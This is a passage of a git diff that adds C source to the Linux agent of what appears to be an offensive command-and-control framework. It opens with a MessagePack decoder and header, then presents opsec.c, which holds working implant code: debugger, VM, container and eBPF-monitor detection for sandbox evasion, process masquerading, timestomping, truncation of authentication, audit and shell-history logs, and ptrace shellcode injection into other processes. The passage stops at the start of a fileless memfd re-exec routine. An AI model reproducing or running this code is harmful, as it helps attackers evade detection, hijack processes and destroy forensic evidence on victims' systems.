0xCF) { + uint64_t uval; + if (mp_read_uint(r, &uval)) return -1; + *val = (int64_t)uval; + return 0; + } + if ((b & 0xE0) == 0xE0) { + read_byte(r, &b); + *val = (int8_t)b; + return 0; + } + read_byte(r, &b); + const uint8_t* p; + switch (b) { + case 0xD0: + if (read_byte(r, &b)) return -1; + *val = (int8_t)b; + return 0; + case 0xD1: + if (read_bytes(r, &p, 2)) return -1; + *val = (int16_t)read_u16_be(p); + return 0; + case 0xD2: + if (read_bytes(r, &p, 4)) return -1; + *val = (int32_t)read_u32_be(p); + return 0; + case 0xD3: + if (read_bytes(r, &p, 8)) return -1; + *val = (int64_t)read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xE0) == 0xA0) { + *len = b & 0x1F; + } else if (b == 0xD9) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xDA) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xDB) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + const uint8_t* p; + if (*len > 0) { + if (read_bytes(r, &p, *len)) return -1; + *str = (const char*)p; + } else { + *str = ""; + } + return 0; +} + +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC4) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xC5) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xC6) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + if (*len > 0) { + if (read_bytes(r, data, *len)) return -1; + } else { + *data = (const uint8_t*)0; + } + return 0; +} + +int mp_skip(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b <= 0x7F) return 0; + if ((b & 0xE0) == 0xE0) return 0; + if ((b & 0xF0) == 0x80) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + if ((b & 0xF0) == 0x90) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + if ((b & 0xE0) == 0xA0) { + uint32_t len = b & 0x1F; + r->pos += len; + return (r->pos <= r->len) ? 0 : -1; + } + const uint8_t* p; + switch (b) { + case 0xC0: case 0xC2: case 0xC3: return 0; + case 0xCC: r->pos += 1; break; + case 0xCD: r->pos += 2; break; + case 0xCE: r->pos += 4; break; + case 0xCF: r->pos += 8; break; + case 0xD0: r->pos += 1; break; + case 0xD1: r->pos += 2; break; + case 0xD2: r->pos += 4; break; + case 0xD3: r->pos += 8; break; + case 0xCA: r->pos += 4; break; + case 0xCB: r->pos += 8; break; + case 0xC4: + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xC5: + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xC6: + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xD9: + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xDA: + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xDB: + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xDC: { + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDD: { + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDE: { + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDF: { + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + default: + return -1; + } + return (r->pos <= r->len) ? 0 : -1; +} + +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) { + size_t key_len = ax_strlen(key); + for (uint32_t i = 0; i < map_count; i++) { + const char* k; + uint32_t klen; + if (mp_read_str(r, &k, &klen)) return -1; + if (klen == key_len && ax_memcmp(k, key, klen) == 0) { + return 0; + } + if (mp_skip(r)) return -1; + } + return -1; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h new file mode 100644 index 000000000..cf63a762b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h @@ -0,0 +1,54 @@ +#ifndef MSGPACK_H +#define MSGPACK_H + +#include "types.h" +#include "crt.h" + +/// ---- Writer (encoder) ---- + +typedef struct { + buffer_t buf; +} mp_writer_t; + +int mp_writer_init(mp_writer_t *w, size_t cap); +void mp_writer_free(mp_writer_t *w); + +int mp_write_map(mp_writer_t *w, uint32_t count); +int mp_write_array(mp_writer_t *w, uint32_t count); +int mp_write_nil(mp_writer_t *w); +int mp_write_bool(mp_writer_t *w, bool val); +int mp_write_uint(mp_writer_t *w, uint64_t val); +int mp_write_int(mp_writer_t *w, int64_t val); +int mp_write_str(mp_writer_t *w, const char *str, uint32_t len); +int mp_write_bin(mp_writer_t *w, const uint8_t *data, uint32_t len); + +int mp_write_kv_str(mp_writer_t *w, const char *key, const char *val); +int mp_write_kv_bin(mp_writer_t *w, const char *key, const uint8_t *data, uint32_t len); +int mp_write_kv_uint(mp_writer_t *w, const char *key, uint64_t val); +int mp_write_kv_int(mp_writer_t *w, const char *key, int64_t val); +int mp_write_kv_bool(mp_writer_t *w, const char *key, bool val); + +/// ---- Reader (decoder) ---- + +typedef struct { + const uint8_t *data; + size_t len; + size_t pos; +} mp_reader_t; + +void mp_reader_init(mp_reader_t *r, const uint8_t *data, size_t len); +uint8_t mp_peek_type(mp_reader_t *r); +int mp_skip(mp_reader_t *r); + +int mp_read_map(mp_reader_t *r, uint32_t *count); +int mp_read_array(mp_reader_t *r, uint32_t *count); +int mp_read_nil(mp_reader_t *r); +int mp_read_bool(mp_reader_t *r, bool *val); +int mp_read_uint(mp_reader_t *r, uint64_t *val); +int mp_read_int(mp_reader_t *r, int64_t *val); +int mp_read_str(mp_reader_t *r, const char **str, uint32_t *len); +int mp_read_bin(mp_reader_t *r, const uint8_t **data, uint32_t *len); + +int mp_find_key_str(mp_reader_t *r, uint32_t map_count, const char *key); + +#endif // MSGPACK_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c new file mode 100644 index 000000000..eb3197540 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c @@ -0,0 +1,883 @@ +/// opsec.c -- OPSEC checks + offensive capabilities for Linux agent +/// Anti-debug, VM/hypervisor detection, container detection, eBPF detection, +/// process masquerading, timestomping, log evasion, ptrace injection, memfd migrate +/// Uses only direct syscalls — zero libc dependency. + +#include "opsec.h" +#include "crt.h" +#include "types.h" +#include "strings_obf.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 + +#define PTRACE_TRACEME 0 +#define PTRACE_PEEKTEXT 1 +#define PTRACE_POKETEXT 4 +#define PTRACE_GETREGS 12 +#define PTRACE_SETREGS 13 +#define PTRACE_ATTACH 16 +#define PTRACE_DETACH 17 + +#define PR_SET_NAME 15 + +#define MFD_CLOEXEC 0x0001U + +#ifndef AT_FDCWD +#define AT_FDCWD -100 +#endif + +// BPF commands +#define BPF_PROG_GET_NEXT_ID 11 +#define BPF_PROG_GET_FD_BY_ID 13 +#define BPF_OBJ_GET_INFO_BY_FD 15 + +// BPF program types (monitoring-relevant) +#define BPF_PROG_TYPE_KPROBE 1 +#define BPF_PROG_TYPE_TRACEPOINT 5 +#define BPF_PROG_TYPE_RAW_TRACEPOINT 17 +#define BPF_PROG_TYPE_LSM 29 + +// ── Helpers ── + +/// Read a small file via direct syscall. Returns bytes read, -1 on error. +static int read_file(const char *path, char *buf, int max_len) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + + int total = 0; + while (total < max_len - 1) { + long n = sys_read(fd, buf + total, (size_t)(max_len - 1 - total)); + if (n <= 0) break; + total += (int)n; + } + buf[total] = '\0'; + sys_close(fd); + return total; +} + +/// Check if a file exists (can be opened) +static int file_exists(const char *path) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return 0; + sys_close(fd); + return 1; +} + +/// Case-insensitive substring search in buf +static int contains_ci(const char *haystack, const char *needle) { + if (!*needle) return 1; + int nlen = (int)ax_strlen(needle); + + for (; *haystack; haystack++) { + int match = 1; + for (int i = 0; i < nlen; i++) { + char h = haystack[i]; + char n = needle[i]; + if (!h) { match = 0; break; } + if (h >= 'A' && h <= 'Z') h += 32; + if (n >= 'A' && n <= 'Z') n += 32; + if (h != n) { match = 0; break; } + } + if (match) return 1; + } + return 0; +} + +/// Write all bytes to fd +static int write_all(int fd, const void *buf, size_t len) { + const uint8_t *p = (const uint8_t *)buf; + size_t remaining = len; + while (remaining > 0) { + long n = sys_write(fd, p, remaining); + if (n < 0) return -1; + p += n; + remaining -= (size_t)n; + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// Anti-Debug +// ══════════════════════════════════════════════════════════════════════ + +int opsec_anti_debug(void) { + // 1. Check /proc/self/status for TracerPid (non-invasive) + char _path_status[64]; + DEOBF(OBF_PROC_SELF_STATUS, _path_status); + char status_buf[2048]; + if (read_file(_path_status, status_buf, sizeof(status_buf)) > 0) { + char *tracer = ax_strstr(status_buf, "TracerPid:"); + if (tracer) { + tracer += 10; + while (*tracer == ' ' || *tracer == '\t') tracer++; + int pid = ax_atoi(tracer); + if (pid != 0) { + ZERO_STR(_path_status, sizeof(_path_status)); + return -1; // Non-zero TracerPid → debugger attached + } + } + } + ZERO_STR(_path_status, sizeof(_path_status)); + + // 2. Fork-based ptrace check — child attempts TRACEME, parent reads result + // This avoids leaving the main process in a traced state. + { + int pipefd[2]; + if (sys_pipe2(pipefd, 0) < 0) goto skip_ptrace; + + int child = sys_fork(); + if (child < 0) { + sys_close(pipefd[0]); + sys_close(pipefd[1]); + goto skip_ptrace; + } + + if (child == 0) { + // Child: try TRACEME — if we're being traced, this fails + sys_close(pipefd[0]); + uint8_t result = 0; + if (sys_ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) + result = 1; // Already traced + sys_write(pipefd[1], &result, 1); + sys_close(pipefd[1]); + sys_exit_group(0); + } + + // Parent: read child result + sys_close(pipefd[1]); + uint8_t result = 0; + sys_read(pipefd[0], &result, 1); + sys_close(pipefd[0]); + + // Wait for child to prevent zombie + sys_wait4(child, NULL, 0, NULL); + + if (result != 0) return -1; + } +skip_ptrace: + + // 3. Timing check — detect single-stepping +#ifdef ARCH_X86_64 + { + uint32_t lo1, hi1, lo2, hi2; + __asm__ volatile("rdtsc" : "=a"(lo1), "=d"(hi1)); + + volatile int dummy = 0; + for (int i = 0; i < 100; i++) dummy += i; + (void)dummy; + + __asm__ volatile("rdtsc" : "=a"(lo2), "=d"(hi2)); + + uint64_t t1 = ((uint64_t)hi1 << 32) | lo1; + uint64_t t2 = ((uint64_t)hi2 << 32) | lo2; + uint64_t delta = t2 - t1; + + // Normal: ~1000-50000 cycles. Single-step: >10M cycles. + if (delta > 10000000) { + return -1; + } + } +#endif + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// VM/Hypervisor Detection +// ══════════════════════════════════════════════════════════════════════ + +int opsec_vm_detect(void) { + char dmi_buf[256]; + + // 1. DMI product_name + char _path_dmi[64]; + DEOBF(OBF_SYS_DMI_PRODUCT, _path_dmi); + if (read_file(_path_dmi, dmi_buf, sizeof(dmi_buf)) > 0) { + if (contains_ci(dmi_buf, "virtualbox")) return -1; + if (contains_ci(dmi_buf, "vmware")) return -1; + if (contains_ci(dmi_buf, "qemu")) return -1; + if (contains_ci(dmi_buf, "kvm")) return -1; + if (contains_ci(dmi_buf, "xen")) return -1; + if (contains_ci(dmi_buf, "hyper-v")) return -1; + if (contains_ci(dmi_buf, "parallels")) return -1; + } + + // 2. DMI sys_vendor + char _path_vendor[64]; + DEOBF(OBF_SYS_DMI_VENDOR, _path_vendor); + if (read_file(_path_vendor, dmi_buf, sizeof(dmi_buf)) > 0) { + if (contains_ci(dmi_buf, "vmware")) return -1; + if (contains_ci(dmi_buf, "innotek")) return -1; + if (contains_ci(dmi_buf, "qemu")) return -1; + if (contains_ci(dmi_buf, "xen")) return -1; + if (contains_ci(dmi_buf, "microsoft")) return -1; + if (contains_ci(dmi_buf, "parallels")) return -1; + } + + // 3. /proc/cpuinfo — check for "hypervisor" flag + char _path_cpu[64]; + DEOBF(OBF_PROC_CPUINFO, _path_cpu); + char cpuinfo_buf[4096]; + if (read_file(_path_cpu, cpuinfo_buf, sizeof(cpuinfo_buf)) > 0) { + if (ax_strstr(cpuinfo_buf, "hypervisor")) return -1; + } + + // 4. CPU count check — analysis VMs often have 1 core + { + int cpu_count = 0; + char *p = cpuinfo_buf; + while ((p = ax_strstr(p, "processor")) != NULL) { + cpu_count++; + p += 9; + } + if (cpu_count > 0 && cpu_count < 2) return -1; + } + + // 5. RAM check — /proc/meminfo MemTotal < 2GB = suspect + { + char _path_mem[64]; + DEOBF(OBF_PROC_MEMINFO, _path_mem); + char meminfo_buf[1024]; + if (read_file(_path_mem, meminfo_buf, sizeof(meminfo_buf)) > 0) { + char *mt = ax_strstr(meminfo_buf, "MemTotal:"); + if (mt) { + mt += 9; + while (*mt == ' ') mt++; + long kb = 0; + while (*mt >= '0' && *mt <= '9') { + kb = kb * 10 + (*mt - '0'); + mt++; + } + if (kb > 0 && kb < 2 * 1024 * 1024) return -1; + } + } + } + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// Container Detection +// ══════════════════════════════════════════════════════════════════════ + +int opsec_container_detect(void) { + char _path_dockerenv[64]; + DEOBF(OBF_DOCKERENV, _path_dockerenv); + if (file_exists(_path_dockerenv)) return -1; + + char _path_cgroup[64]; + DEOBF(OBF_PROC_1_CGROUP, _path_cgroup); + char cgroup_buf[2048]; + if (read_file(_path_cgroup, cgroup_buf, sizeof(cgroup_buf)) > 0) { + if (ax_strstr(cgroup_buf, "docker")) return -1; + if (ax_strstr(cgroup_buf, "kubepods")) return -1; + if (ax_strstr(cgroup_buf, "lxc")) return -1; + if (ax_strstr(cgroup_buf, "containerd")) return -1; + if (ax_strstr(cgroup_buf, "podman")) return -1; + } + + char selfcg_buf[1024]; + if (read_file("/proc/self/cgroup", selfcg_buf, sizeof(selfcg_buf)) > 0) { + if (ax_strstr(selfcg_buf, "docker")) return -1; + if (ax_strstr(selfcg_buf, "kubepods")) return -1; + if (ax_strstr(selfcg_buf, "podman")) return -1; + } + + char _path_k8s[64]; + DEOBF(OBF_K8S_SECRETS, _path_k8s); + if (file_exists(_path_k8s)) return -1; + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) return -1; + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// eBPF Detection — enumerate loaded BPF programs +// ══════════════════════════════════════════════════════════════════════ + +int opsec_ebpf_detect(void) { + int monitoring_count = 0; + + // Method 1: Check /sys/fs/bpf/ — pinned BPF programs + if (file_exists("/sys/fs/bpf")) { + // If the directory exists and is accessible, BPF is active + // We can't easily enumerate without getdents, so just flag it + } + + // Method 2: bpf(BPF_PROG_GET_NEXT_ID) — iterate all loaded programs + // attr = { start_id: u32, next_id: u32 } + // Each iteration returns next program ID + { + // BPF attr union — we only need the first 8 bytes + uint8_t attr[128]; + ax_memset(attr, 0, sizeof(attr)); + + uint32_t start_id = 0; + for (int iter = 0; iter < 1024; iter++) { + // attr.__u32 start_id at offset 0 + ax_memcpy(attr, &start_id, 4); + + long ret = sys_bpf(BPF_PROG_GET_NEXT_ID, attr, sizeof(attr)); + if (ret < 0) break; // No more programs + + // next_id at offset 4 + uint32_t next_id; + ax_memcpy(&next_id, attr + 4, 4); + + // Get fd for this program + ax_memset(attr, 0, sizeof(attr)); + ax_memcpy(attr, &next_id, 4); // prog_id at offset 0 + long fd = sys_bpf(BPF_PROG_GET_FD_BY_ID, attr, sizeof(attr)); + if (fd >= 0) { + // Get program info via BPF_OBJ_GET_INFO_BY_FD + // info_by_fd: { bpf_fd: u32, info_len: u32, info: u64 (ptr) } + uint8_t info[256]; + ax_memset(info, 0, sizeof(info)); + ax_memset(attr, 0, sizeof(attr)); + + uint32_t bpf_fd = (uint32_t)fd; + uint32_t info_len = (uint32_t)sizeof(info); + uint64_t info_ptr = (uint64_t)(unsigned long)info; + + // bpf_attr for OBJ_GET_INFO_BY_FD: + // offset 0: bpf_fd (u32) + // offset 4: info_len (u32) + // offset 8: info (u64, pointer) + ax_memcpy(attr, &bpf_fd, 4); + ax_memcpy(attr + 4, &info_len, 4); + ax_memcpy(attr + 8, &info_ptr, 8); + + ret = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, attr, 16); + if (ret == 0) { + // bpf_prog_info.type is at offset 0 (u32) + uint32_t prog_type; + ax_memcpy(&prog_type, info, 4); + + if (prog_type == BPF_PROG_TYPE_KPROBE || + prog_type == BPF_PROG_TYPE_TRACEPOINT || + prog_type == BPF_PROG_TYPE_RAW_TRACEPOINT || + prog_type == BPF_PROG_TYPE_LSM) { + monitoring_count++; + } + } + sys_close((int)fd); + } + + start_id = next_id; + } + } + + // Method 3: Filesystem indicators + // Check for Falco / Tetragon / Cilium / Tracee + if (file_exists("/etc/falco/falco.yaml")) monitoring_count++; + if (file_exists("/var/run/cilium/state")) monitoring_count++; + if (file_exists("/opt/tetragon")) monitoring_count++; + + return monitoring_count; // 0 = safe, >0 = number of eBPF monitors found +} + +// ══════════════════════════════════════════════════════════════════════ +// Process Masquerading +// ══════════════════════════════════════════════════════════════════════ + +void opsec_masquerade(const char *fake_name, char **argv) { + if (!fake_name || !*fake_name) return; + + // 1. prctl(PR_SET_NAME) → modifies /proc/self/comm (max 16 chars) + sys_prctl(PR_SET_NAME, (unsigned long)fake_name, 0, 0, 0); + + // 2. Overwrite argv[0] → modifies /proc/self/cmdline + if (argv && argv[0]) { + // Calculate max length we can overwrite (argv[0] buffer) + size_t old_len = ax_strlen(argv[0]); + size_t new_len = ax_strlen(fake_name); + size_t copy_len = new_len < old_len ? new_len : old_len; + + ax_memcpy(argv[0], fake_name, copy_len); + // Zero-fill remainder to avoid partial old name showing + if (copy_len < old_len) { + ax_memset(argv[0] + copy_len, 0, old_len - copy_len); + } + } +} + +// ══════════════════════════════════════════════════════════════════════ +// Timestomping — modify atime/mtime via utimensat +// ══════════════════════════════════════════════════════════════════════ + +int opsec_timestomp(const char *path, long ts_sec) { + if (!path) return -1; + + struct linux_timespec times[2]; + + if (ts_sec == 0) { + // Special: set UTIME_OMIT-like behavior — copy from reference + // Use a common system file as reference + struct linux_stat st; + if (sys_stat("/usr/bin/ls", &st) == 0) { + times[0].tv_sec = (long)st.st_atime_sec; + times[0].tv_nsec = (long)st.st_atime_nsec; + times[1].tv_sec = (long)st.st_mtime_sec; + times[1].tv_nsec = (long)st.st_mtime_nsec; + } else { + // Fallback: Jan 15, 2024 10:30:00 UTC + times[0].tv_sec = 1705311000; + times[0].tv_nsec = 0; + times[1].tv_sec = 1705311000; + times[1].tv_nsec = 0; + } + } else { + times[0].tv_sec = ts_sec; + times[0].tv_nsec = 0; + times[1].tv_sec = ts_sec; + times[1].tv_nsec = 0; + } + + return sys_utimensat(AT_FDCWD, path, times, 0); +} + +// ══════════════════════════════════════════════════════════════════════ +// Log Evasion — truncate authentication & session logs +// ══════════════════════════════════════════════════════════════════════ + +int opsec_clean_logs(void) { + // Only effective as root — non-root will fail silently + int cleaned = 0; + + // Truncate binary logs (these can't be selectively edited) + const char *binary_logs[] = { + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + "/var/run/utmp", + NULL + }; + + for (int i = 0; binary_logs[i]; i++) { + int fd = sys_open(binary_logs[i], O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + + // Truncate text logs + const char *text_logs[] = { + "/var/log/auth.log", + "/var/log/secure", + "/var/log/syslog", + "/var/log/messages", + "/var/log/audit/audit.log", + NULL + }; + + for (int i = 0; text_logs[i]; i++) { + int fd = sys_open(text_logs[i], O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + + // Clear shell history for current user + // Read HOME from /proc/self/environ + char _path_environ[64]; + DEOBF(OBF_PROC_SELF_ENVIRON, _path_environ); + char env_buf[4096]; + int env_len = read_file(_path_environ, env_buf, sizeof(env_buf)); + if (env_len > 0) { + // /proc/self/environ is NUL-separated + char *p = env_buf; + char *end = env_buf + env_len; + while (p < end) { + if (ax_strncmp(p, "HOME=", 5) == 0) { + char *home = p + 5; + // Truncate common history files + char path[512]; + const char *history_files[] = { + "/.bash_history", + "/.zsh_history", + "/.python_history", + NULL + }; + for (int i = 0; history_files[i]; i++) { + // Build path: HOME + history_file + size_t hlen = ax_strlen(home); + size_t flen = ax_strlen(history_files[i]); + if (hlen + flen < sizeof(path)) { + ax_memcpy(path, home, hlen); + ax_memcpy(path + hlen, history_files[i], flen + 1); + int fd = sys_open(path, O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + } + break; + } + // Skip to next NUL-separated entry + while (p < end && *p) p++; + p++; + } + } + + return cleaned; // Number of logs truncated +} + +// ══════════════════════════════════════════════════════════════════════ +// Process Injection via ptrace +// ══════════════════════════════════════════════════════════════════════ + +#ifdef ARCH_X86_64 + +// x86_64 user_regs_struct (simplified) +struct user_regs { + uint64_t r15, r14, r13, r12, rbp, rbx, r11, r10; + uint64_t r9, r8, rax, rcx, rdx, rsi, rdi, orig_rax; + uint64_t rip, cs, eflags, rsp, ss, fs_base, gs_base; + uint64_t ds, es, fs, gs; +}; + +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) { + if (!shellcode || sc_len == 0) return -1; + + // 1. Attach to target + if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0) + return -1; + + // Wait for target to stop + int wstatus = 0; + sys_wait4(target_pid, &wstatus, 0, NULL); + + // 2. Get current registers + struct user_regs regs; + if (sys_ptrace(PTRACE_GETREGS, target_pid, NULL, ®s) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // 3. Find writable region in target via /proc/PID/maps + // Look for an anonymous RW mapping (e.g. heap or stack) to write shellcode + char maps_path[64]; + char pid_str[16]; + ax_itoa(target_pid, pid_str, 10); + ax_strcpy(maps_path, "/proc/"); + ax_strcat(maps_path, pid_str); + ax_strcat(maps_path, "/maps"); + + char maps_buf[8192]; + int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf)); + if (maps_len <= 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // Parse maps looking for an executable region to inject into. + // Priority: 1) r-xp (code section — POKETEXT bypasses page protections) + // 2) rwxp (rare but ideal) + // 3) fallback to current RIP + // Writing into r-xp via POKETEXT works because ptrace operates at + // the kernel level, bypassing page permission checks. The page is + // already executable so the target can run the shellcode directly. + uint64_t inject_addr = 0; + char *line = maps_buf; + while (*line) { + // Format: "addr1-addr2 perms offset dev inode pathname" + uint64_t addr1 = 0, addr2 = 0; + char *p = line; + while (*p && *p != '-') { + char c = *p; + if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == '-') p++; + while (*p && *p != ' ') { + char c = *p; + if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == ' ') p++; + // Read perms (4 chars: r-xp, rwxp, rw-p, etc.) + if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') { + // r-xp or rwxp — executable region + uint64_t region_size = addr2 - addr1; + if (region_size > sc_len + 0x200) { + // Inject near the end of .text to minimize disruption + inject_addr = addr2 - sc_len - 0x100; + // Align to 16 + inject_addr &= ~(uint64_t)0xF; + break; + } + } + // Next line + while (*line && *line != '\n') line++; + if (*line == '\n') line++; + } + + if (inject_addr == 0) { + // Fallback: use RIP-relative (inject at current RIP position) + inject_addr = regs.rip; + } + + // 4. Write shellcode via POKETEXT (8 bytes at a time) + for (size_t i = 0; i < sc_len; i += 8) { + uint64_t word = 0; + size_t chunk = sc_len - i; + if (chunk > 8) chunk = 8; + + // If less than 8 bytes, read existing word first to preserve trailing bytes + if (chunk < 8) { + long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid, + (void *)(inject_addr + i), NULL); + word = (uint64_t)existing; + } + + ax_memcpy(&word, shellcode + i, chunk); + if (sys_ptrace(PTRACE_POKETEXT, target_pid, + (void *)(inject_addr + i), (void *)word) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + } + + // 5. Set RIP to our shellcode + regs.rip = inject_addr; + sys_ptrace(PTRACE_SETREGS, target_pid, NULL, ®s); + + // 6. Detach — target resumes at our shellcode + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + + return 0; +} + +#elif defined(ARCH_AARCH64) + +// ARM64 user_regs_struct +struct user_regs { + uint64_t regs[31]; // x0-x30 + uint64_t sp; + uint64_t pc; + uint64_t pstate; +}; + +// ARM64 uses PTRACE_GETREGSET / PTRACE_SETREGSET with NT_PRSTATUS +// But some kernels support GETREGS/SETREGS too. Use raw ptrace. +#define PTRACE_GETREGSET 0x4204 +#define PTRACE_SETREGSET 0x4205 +#define NT_PRSTATUS 1 + +struct iovec_t { + void *iov_base; + size_t iov_len; +}; + +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) { + if (!shellcode || sc_len == 0) return -1; + + // 1. Attach + if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0) + return -1; + + int wstatus = 0; + sys_wait4(target_pid, &wstatus, 0, NULL); + + // 2. Get registers via GETREGSET + struct user_regs regs; + struct iovec_t iov; + iov.iov_base = ®s; + iov.iov_len = sizeof(regs); + + if (sys_ptrace(PTRACE_GETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // 3. Find writable region + char maps_path[64]; + char pid_str[16]; + ax_itoa(target_pid, pid_str, 10); + ax_strcpy(maps_path, "/proc/"); + ax_strcat(maps_path, pid_str); + ax_strcat(maps_path, "/maps"); + + char maps_buf[8192]; + int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf)); + uint64_t inject_addr = 0; + + if (maps_len > 0) { + // Find r-xp or rwxp region (executable) — POKETEXT bypasses page protections + char *line = maps_buf; + while (*line) { + uint64_t addr1 = 0, addr2 = 0; + char *p = line; + while (*p && *p != '-') { + char c = *p; + if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == '-') p++; + while (*p && *p != ' ') { + char c = *p; + if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == ' ') p++; + if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') { + uint64_t region_size = addr2 - addr1; + if (region_size > sc_len + 0x200) { + inject_addr = addr2 - sc_len - 0x100; + inject_addr &= ~(uint64_t)0xF; + break; + } + } + while (*line && *line != '\n') line++; + if (*line == '\n') line++; + } + } + + if (inject_addr == 0) { + inject_addr = regs.pc; + } + + // 4. Write shellcode via POKETEXT + for (size_t i = 0; i < sc_len; i += 8) { + uint64_t word = 0; + size_t chunk = sc_len - i; + if (chunk > 8) chunk = 8; + + if (chunk < 8) { + long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid, + (void *)(inject_addr + i), NULL); + word = (uint64_t)existing; + } + + ax_memcpy(&word, shellcode + i, chunk); + if (sys_ptrace(PTRACE_POKETEXT, target_pid, + (void *)(inject_addr + i), (void *)word) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + } + + // 5. Set PC to our shellcode + regs.pc = inject_addr; + iov.iov_base = ®s; + iov.iov_len = sizeof(regs); + sys_ptrace(PTRACE_SETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov); + + // 6. Detach + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + + return 0; +} + +#endif // ARCH_X86_64 / ARCH_AARCH64 + +// ══════════════════════════════════════════════════════════════════════ +// Fileless self-re-exec via memfd_create +// ══════════════════════════════════════════════════════════════════════ + +int opsec_migrate_memfd(char **argv, char **envp) { 